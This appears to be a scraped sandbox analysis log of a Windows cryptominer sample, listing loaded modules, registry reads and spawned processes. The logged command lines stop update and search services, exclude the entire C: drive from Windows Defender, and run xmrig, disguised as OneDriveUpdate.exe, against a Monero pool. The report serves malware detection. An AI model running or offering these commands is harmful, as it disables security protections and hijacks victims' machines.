"powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "powershell.exe" loaded module "COMBASE.DLL" at base 7ffd5c040000 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffd5c040000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "NTDLL.DLL" at base 7ffd5cf90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\PSAPI.DLL" at base 0 "powershell.exe" loaded module "SHELL32.DLL" at base 7ffd5c5f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\NTDLL.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\WINTRUST.DLL" at base 0 "powershell.exe" loaded module "WINTRUST.DLL" at base 7ffd5a3b0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\CRYPT32.DLL" at base 7ffd5a540000 "powershell.exe" loaded module "WLDP.DLL" at base 7ffd59ba0000 "powershell.exe" loaded module "AMSI.DLL" at base 7ffd4c600000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\VERSION.DLL" at base 7ffd4f490000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPOAV.DLL" at base 7ffd4c580000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\MSISIP.DLL" at base 7ffd4b200000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WSHEXT.DLL" at base 7ffd33440000 "powershell.exe" loaded module "CRYPT32.DLL" at base 7ffd5a540000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\9BMV9YB4.DLL" at base 7ffd32070000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.MF49F6405#\F4889FA032F8023FE280A54700D6D3A5\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NI.DLL" at base 7ffd30570000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\APPXSIP.DLL" at base 7ffd2fc50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM\V4.0_4.0.0.0__B77A5C561934E089\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\PWRSHSIP.DLL" at base 7ffd4e300000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.MANAGEMENT\6287E09015A311A64C4FE0304818F8C3\SYSTEM.MANAGEMENT.NI.DLL" at base 7ffd2f900000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DIRED13B18A9#\2D1FF2AB3131DE6A507F22CCC53B273A\SYSTEM.DIRECTORYSERVICES.NI.DLL" at base 7ffd2e0b0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CRYPT32.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.XML\F0078C8C05B31633E5966C5629E65602\SYSTEM.XML.NI.DLL" at base 7ffd17170000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\VERSION.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CONFIGURATION\2A25B59872A72DA9B55F952AB1B0BC8B\SYSTEM.CONFIGURATION.NI.DLL" at base 7ffd2ce00000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.DATA\BF3D2E6042D943E0FEC9CCC0D72C8F3B\SYSTEM.DATA.NI.DLL" at base 7ffd167e0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.DATA\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.DATA.DLL" at base 7ffd2ca90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "powershell.exe" loaded module "BCRYPT.DLL" at base 7ffd59c90000 "powershell.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffd5a840000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffd2c960000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.P6F792626#\49750EA038273F75321E479EF1525D1E\MICROSOFT.POWERSHELL.SECURITY.NI.DLL" at base 7ffd2fbe0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.TRANSACTIONS\DD0ED795D7234A2AE4314DE052867161\SYSTEM.TRANSACTIONS.NI.DLL" at base 7ffd2c880000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\SYSTEM.TRANSACTIONS\V4.0_4.0.0.0__B77A5C561934E089\SYSTEM.TRANSACTIONS.DLL" at base 7ffd2fb90000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SECUR32.DLL" at base 0 "powershell.exe" loaded module "SECUR32.DLL" at base 7ffd4e630000 "powershell.exe" loaded module "SSPICLI.DLL" at base 7ffd59650000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_MSIL\SYSTEM.MANAGEMENT.AUTOMATION\V4.0_3.0.0.0__31BF3856AD364E35\SHLWAPI.DLL" at base 0 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffd579e0000 "powershell.exe" loaded module "%ALLUSERSPROFILE%\MICROSOFT\WINDOWS DEFENDER\PLATFORM\4.18.23090.2008-0\MPCLIENT.DLL" at base 7ffd35a80000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\KERNEL32.DLL" at base 7ffd5b8f0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\ADVAPI32.DLL" at base 7ffd5bf50000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-WINRT-ROPARAMETERIZEDIID-L1-1-0.DLL" at base 7ffd5c040000 "powershell.exe" loaded module "OLEAUT32" at base 7ffd5ad90000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.PAE3498D9#\9494EDA0C9AF503CB61FE450B5BA9C1A\MICROSOFT.POWERSHELL.COMMANDS.MANAGEMENT.NI.DLL" at base 7ffd2c3d0000 "powershell.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MICROSOFT.M870D558A#\199F66BC1A6FE937DEB9E320CBCAACD7\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.NI.DLL" at base 7ffd2c7d0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-LIBRARYLOADER-L1-2-0.DLL" at base 7ffd5a840000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MSVCRT.DLL" at base 0 "powershell.exe" loaded module "MSVCRT.DLL" at base 7ffd5b460000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 0 "powershell.exe" loaded module "MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE.UNMANAGED.DLL" at base 7ffd3de70000 "powershell.exe" loaded module "MI.DLL" at base 7ffd4e530000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\MI.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-SECURITY-BASE-L1-1-0.DLL" at base 7ffd5a840000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WMIDCOM.DLL" at base 7ffd4e4a0000 "powershell.exe" loaded module "GDI32.DLL" at base 7ffd5af80000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALREGISTRY-L1-1-0.DLL" at base 7ffd5a840000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMPROX.DLL" at base 7ffd4dcd0000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\WBEMSVC.DLL" at base 7ffd4ce10000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-0.DLL" at base 7ffd5a840000 "powershell.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-1-0.DLL" at base 7ffd5a840000 "powershell.exe" loaded module "%WINDIR%\SYSTEM32\WBEM\FASTPROX.DLL" at base 7ffd4d070000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-PROCESSTHREADS-L1-1-0.DLL" at base 7ffd5b8f0000 "powershell.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MICROSOFT.MANAGEMENT.INFRASTRUCTURE.NATIVE\V4.0_1.0.0.0__31BF3856AD364E35\API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 0 "powershell.exe" loaded module "API-MS-WIN-CORE-HANDLE-L1-1-0.DLL" at base 7ffd5a840000 "xmrig.exe" loaded module "KERNEL32" at base 7ffd5b8f0000 "xmrig.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffd5a840000 "xmrig.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffd5a840000 "xmrig.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffd5a840000 "xmrig.exe" loaded module "%WINDIR%\SYSTEM32\IMM32.DLL" at base 7ffd5c000000 "xmrig.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd5a840000 "xmrig.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd5a840000 "xmrig.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd5a840000 "xmrig.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd329e0000 "xmrig.exe" loaded module "ADVAPI32.DLL" at base 7ffd5bf50000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREEI.DLL" at base 7ffd32560000 "xmrig.exe" loaded module "SHLWAPI.DLL" at base 7ffd5ced0000 "xmrig.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2.DLL" at base 7ffd59400000 "xmrig.exe" loaded module "VERSION.DLL" at base 7ffd4f490000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLR.DLL" at base 7ffd2ebc0000 "xmrig.exe" loaded module "USER32.DLL" at base 7ffd5b510000 "xmrig.exe" loaded module "API-MS-WIN-CORE-QUIRKS-L1-1-0.DLL" at base 7ffd5a840000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\MSCOREE.DLL" at base 0 "xmrig.exe" loaded module "MSCOREE.DLL" at base 7ffd526f0000 "xmrig.exe" loaded module "NTDLL" at base 7ffd5cf90000 "xmrig.exe" loaded module "%WINDIR%\SYSTEM32\COMBASE.DLL" at base 7ffd5c040000 "xmrig.exe" loaded module "PSAPI.DLL" at base 1ad0000 "xmrig.exe" loaded module "RPCRT4.DLL" at base 7ffd5c4d0000 "xmrig.exe" loaded module "KERNEL32.DLL" at base 7ffd5b8f0000 "xmrig.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\MSCORLIB\3B9003E4F27D92E40668F0EFAD11E022\MSCORLIB.NI.DLL" at base 7ffd1b150000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\OLE32.DLL" at base 0 "xmrig.exe" loaded module "OLE32.DLL" at base 2100000 "xmrig.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffd579e0000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 0 "xmrig.exe" loaded module "API-MS-WIN-CORE-WINRT-L1-1-0.DLL" at base 7ffd5c040000 "xmrig.exe" loaded module "API-MS-WIN-CORE-XSTATE-L2-1-0.DLL" at base 7ffd5a840000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\CLRJIT.DLL" at base 7ffd2c960000 "xmrig.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM\CE0FD4F5B50BAA17E7B80E4EE874AD11\SYSTEM.NI.DLL" at base 7ffd1a530000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\SHELL32.DLL" at base 0 "xmrig.exe" loaded module "SHELL32.DLL" at base 7ffd5c5f0000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\BCRYPT.DLL" at base 0 "xmrig.exe" loaded module "BCRYPT.DLL" at base 7ffd59c90000 "xmrig.exe" loaded module "%WINDIR%\ASSEMBLY\NATIVEIMAGES_V4.0.30319_64\SYSTEM.CORE\990501E6199819806F01C8ECAC88BAAC\SYSTEM.CORE.NI.DLL" at base 7ffd19aa0000 "xmrig.exe" loaded module "ADVAPI32" at base 7ffd5bf50000 "xmrig.exe" loaded module "%WINDIR%\SYSTEM32\RSAENH.DLL" at base 7ffd59370000 "xmrig.exe" loaded module "%WINDIR%\SYSTEM32\BCRYPTPRIMITIVES.DLL" at base 7ffd5abf0000 "xmrig.exe" loaded module "NTDLL.DLL" at base 7ffd5cf90000 "xmrig.exe" loaded module "KERNELBASE" at base 7ffd5a840000 "xmrig.exe" loaded module "%WINDIR%\SYSTEM32\APPHELP.DLL" at base 7ffd57840000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\ASSEMBLY\GAC_64\MSCORLIB\V4.0_4.0.0.0__B77A5C561934E089\COMBASE.DLL" at base 0 "xmrig.exe" loaded module "COMBASE.DLL" at base 7ffd5c040000 "xmrig.exe" loaded module "API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 7ffd5c040000 "xmrig.exe" loaded module "%WINDIR%\MICROSOFT.NET\FRAMEWORK64\V4.0.30319\API-MS-WIN-CORE-WINRT-STRING-L1-1-0.DLL" at base 0 "OneDriveUpdate.exe" loaded module "API-MS-WIN-CORE-SYNCH-L1-2-0" at base 7ffd5a840000 "OneDriveUpdate.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-1" at base 7ffd5a840000 "OneDriveUpdate.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-L1-2-1" at base 7ffd5a840000 "OneDriveUpdate.exe" loaded module "KERNEL32" at base 7ffd5b8f0000 "OneDriveUpdate.exe" loaded module "%WINDIR%\TEMP\VXOLE64.DLL" at base 7ffd329e0000 "OneDriveUpdate.exe" loaded module "API-MS-WIN-CORE-FIBERS-L1-1-2" at base 7ffd5a840000 "OneDriveUpdate.exe" loaded module "API-MS-WIN-CORE-STRING-L1-1-0" at base 7ffd5a840000 "OneDriveUpdate.exe" loaded module "API-MS-WIN-CORE-DATETIME-L1-1-1" at base 7ffd5a840000 "OneDriveUpdate.exe" loaded module "API-MS-WIN-CORE-LOCALIZATION-OBSOLETE-L1-2-0" at base 7ffd5a840000 "OneDriveUpdate.exe" loaded module "API-MS-WIN-SECURITY-SYSTEMFUNCTIONS-L1-1-0" at base 7ffd5bf50000 "OneDriveUpdate.exe" loaded module "KERNEL32.DLL" at base 7ffd5b8f0000 "OneDriveUpdate.exe" loaded module "POWRPROF.DLL" at base 7ffd5a280000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\UXTHEME.DLL" at base 7ffd579e0000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\MSWSOCK.DLL" at base 7ffd59870000 "OneDriveUpdate.exe" loaded module "RPCRT4.DLL" at base 7ffd5c4d0000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\NAPINSP.DLL" at base 7ffd327e0000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\PNRPNSP.DLL" at base 7ffd32050000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\WINRNR.DLL" at base 7ffd31f80000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\WSHBTH.DLL" at base 7ffd40e30000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\NLANSP_C.DLL" at base 7ffd31c30000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\EXPLORERFRAME.DLL" at base 7ffd3fa30000 "OneDriveUpdate.exe" loaded module "API-MS-WIN-APPMODEL-RUNTIME-L1-1-2" at base 7ffd59400000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\RASADHLP.DLL" at base 7ffd51470000 "OneDriveUpdate.exe" loaded module "%WINDIR%\SYSTEM32\FWPUCLNT.DLL" at base 7ffd52da000044:T557,"powershell.exe" touched "WBEM Locator" (Path: "HKCU\CLSID\{4590F811-1D3A-11D0-891F-00AA004B2E24}") "powershell.exe" touched "Windows Management and Instrumentation" (Path: "HKCU\CLSID\{8BC3F05E-D86B-11D0-A075-00C04FB68820}\TREATAS") "powershell.exe" touched "PSFactoryBuffer" (Path: "HKCU\CLSID\{7C857801-7381-11CF-884D-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemServices" (Path: "HKCU\CLSID\{D68AF00A-29CB-43FA-8504-CE99A996D9EA}\TREATAS") "powershell.exe" touched "Microsoft WBEM Call Context" (Path: "HKCU\CLSID\{674B6698-EE92-11D0-AD71-00C04FD8FDFF}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSinkEx" (Path: "HKCU\CLSID\{00B8308C-09F2-4C18-A7B0-4594D6B22EFE}\TREATAS") "powershell.exe" touched "Microsoft WBEM WbemClassObject Marshalling proxy" (Path: "HKCU\CLSID\{4590F812-1D3A-11D0-891F-00AA004B2E24}\TREATAS") "powershell.exe" touched "Microsoft WBEM (non)Standard Marshaling for IWbemObjectSink" (Path: "HKCU\CLSID\{71285C44-1DC0-11D2-B5FB-00104B703EFD}\TREATAS") "powershell.exe" touched "Windows Defender IOfficeAntiVirus implementation" (Path: "HKLM\SOFTWARE\CLASSES\CLSID\{2781761E-28E0-4109-99FE-B9D127C57AFE}\INPROCSERVER32") "OneDriveUpdate.exe" touched "Task Bar Communication" (Path: "HKCU\CLSID\{56FDF344-FD6D-11D0-958A-006097C9A090}")45:T5e2,"4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "4e160339aeb9bfbd576dfbe288cbb58eb82b7d85f9c4d84651cb1ee024c3a260.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL\GEO"; Key: "NAME") "net1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "net1.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "SYEARMONTH") "powershell.exe" (Path: "HKCU\CONTROL PANEL\INTERNATIONAL"; Key: "LOCALENAME") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN") "powershell.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN") "xmrig.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "xmrig.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US") "OneDriveUpdate.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\CUSTOMLOCALE"; Key: "EN-US") "OneDriveUpdate.exe" (Path: "HKLM\SYSTEM\CONTROLSET001\CONTROL\NLS\EXTENDEDLOCALE"; Key: "EN-US")46:Tfa2,Observed system executable string:"%WINDIR%\system32\en-US\tzres.dll.mui" [Source: 00000000-00001548-00000C2B-2746185477] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoreei.dll" [Source: 00000000-00004556-00000C2E-1913558836] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\clr.dll" [Source: 00000000-00004556-00000C2B-2764648510] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscoree.dll" [Source: 00000000-00004556-00000C2B-2764831441] Observed system executable string:"%WINDIR%\system32\combase.dll" [Source: 00000000-00004556-00000C2B-2764998375] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\mscorlib\3b9003e4f27d92e40668f0efad11e022\mscorlib.ni.dll" [Source: 00000000-00004556-00000C2B-2765264109] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\ole32.dll" [Source: 00000000-00004556-00000C2B-2765344501] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-l1-1-0.dll" [Source: 00000000-00004556-00000C2B-2765427033] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\oleaut32.dll" [Source: 00000000-00004556-00000C2B-2765525424] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System\ce0fd4f5b50baa17e7b80e4ee874ad11\System.ni.dll" [Source: 00000000-00004556-00000C2B-2765635214] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Core\990501e6199819806f01c8ecac88baac\System.Core.ni.dll" [Source: 00000000-00004556-00000C2B-2765686798] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\OLEAUT32.dll" [Source: 00000000-00004556-00000C2B-2765857021] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\combase.dll" [Source: 00000000-00004556-00000C2B-2766251555] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\api-ms-win-core-winrt-string-l1-1-0.dll" [Source: 00000000-00004556-00000C2B-2766393926] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_64\mscorlib\v4.0_4.0.0.0__b77a5c561934e089\shell32.dll" [Source: 00000000-00004556-00000C2B-2766787655] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\psapi.dll" [Source: 00000000-00004556-00000C2B-2766826097] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\ntdll.dll" [Source: 00000000-00004556-00000C2B-2767426406] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System.Management.Automation\v4.0_3.0.0.0__31bf3856ad364e35\wintrust.dll" [Source: 00000000-00004556-00000C2B-2767763366] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en-US\mscorrc.dll" [Source: 00000000-00004556-00000C2B-2767901621] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\en\mscorrc.dll" [Source: 00000000-00004556-00000C2B-2768128214] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll" [Source: 00000000-00004556-00000C2B-2768233881] Observed system executable string:"%WINDIR%\system32\version.dll" [Source: 00000000-00004556-00000C2B-2768695518] Observed system executable string:"%WINDIR%\Microsoft.Net\assembly\GAC_MSIL\System\v4.0_4.0.0.0__b77a5c561934e089\crypt32.dll" [Source: 00000000-00004556-00000C2B-2769106516] Observed system executable string:"%WINDIR%\assembly\NativeImages_v4.0.30319_64\System.Management\6287e09015a311a64c4fe0304818f8c3\System.Management.ni.dll" [Source: 00000000-00004556-00000C2B-2769158941] Observed system executable string:"%WINDIR%\Microsoft.NET\Framework64\v4.0.30319\CRYPT32.dll" [Source: 00000000-00004556-00000C2B-2769255396]47:T40a,Spawned process "net.exe" with commandline ""net" stop wuauserv" (UID: 00000000-00001396) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop wuauserv" (UID: 00000000-00009196) Spawned process "net.exe" with commandline ""net" stop WSearch" (UID: 00000000-00003740) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop WSearch" (UID: 00000000-00002296) Spawned process "net.exe" with commandline ""net" stop SysMain" (UID: 00000000-00004756) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop SysMain" (UID: 00000000-00001200) Spawned process "powershell.exe" with commandline ""powershell" -Command "Add-MpPreference -ExclusionPath 'C:\\'"" (UID: 00000000-00004556) Spawned process "xmrig.exe" with commandline "-o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSX ..." (UID: 00000000-00003544) Spawned process "OneDriveUpdate.exe" with commandline "-o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSX ..." (UID: 00000000-00005904)48:T40a,Spawned process "net.exe" with commandline ""net" stop wuauserv" (UID: 00000000-00001396) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop wuauserv" (UID: 00000000-00009196) Spawned process "net.exe" with commandline ""net" stop WSearch" (UID: 00000000-00003740) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop WSearch" (UID: 00000000-00002296) Spawned process "net.exe" with commandline ""net" stop SysMain" (UID: 00000000-00004756) Spawned process "net1.exe" with commandline "%WINDIR%\\system32\\net1 stop SysMain" (UID: 00000000-00001200) Spawned process "powershell.exe" with commandline ""powershell" -Command "Add-MpPreference -ExclusionPath 'C:\\'"" (UID: 00000000-00004556) Spawned process "xmrig.exe" with commandline "-o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSX ..." (UID: 00000000-00003544) Spawned process "OneDriveUpdate.exe" with commandline "-o sg.moneroocean.stream:10001 -u 43daUCbEXQUYkoayd4LxQBTVZCHrSX ..." (UID: 00000000-00005904)49:T406,"OneDriveUpdate.exe" has type "PE32+ executable for MS Windows 6.00 (console) x86-64 10 sections"- Location: [%LOCALAPPDATA%\Microsoft\OneDrive\Update\OneDriveUpdate.exe]- [targetUID: 00000000-00005904] "xmrig.exe" has type "PE32 executable for MS Windows 4.00 (GUI) Intel i386 Mono/.Net assembly 3 